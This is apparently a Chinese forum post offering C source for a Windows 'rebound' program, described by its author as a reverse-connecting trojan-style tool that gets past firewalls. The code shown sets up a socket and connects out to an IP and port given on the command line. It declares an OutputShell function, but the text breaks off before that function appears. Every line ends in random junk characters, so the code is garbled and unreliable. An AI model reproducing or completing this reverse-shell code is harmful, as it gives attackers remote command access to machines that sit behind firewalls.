这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 oa:30@HSb
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/* ============================== ~ -zch=+u
Rebound port in Windows NT @ !m+s~~]h
By wind,2006/7 5$Da\?Fpn
===============================*/ `AcT}.u
#include W=ar&O~}n
#include ;=F]{w]$+
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#pragma comment(lib,"wsock32.lib") 4pC.mRu
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void OutputShell(); >uVr;,=y
SOCKET sClient; 1Aw/-FxJ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #azD&6`
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void main(int argc,char **argv) iz5WWn^
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WSADATA stWsaData; a@}A;y'd
int nRet; %VmHw~xyF:
SOCKADDR_IN stSaiClient,stSaiServer; 0
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if(argc != 3) Y!nxHRE
{ 5&N55?G6
printf("Useage:\n\rRebound DestIP DestPort\n"); a^QyYX}\qR
return; c0Oc-,6J
} |}KNtIX\G
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WSAStartup(MAKEWORD(2,2),&stWsaData); X0e#w?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )ND%MYJSq
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stSaiClient.sin_family = AF_INET; < rqFBq8
stSaiClient.sin_port = htons(0); r'~^BLT`#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Kt\#|-{CH-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WC
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printf("Bind Socket Failed!\n"); NB[(O#
return; L-QzC<[F/
} ;!H|0sv
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stSaiServer.sin_family = AF_INET; ~T'Ri=
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bL"!z"NA
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Kb5 Y A
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >4@/x{{
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printf("Connect Error!"); dzn[4
return; -`<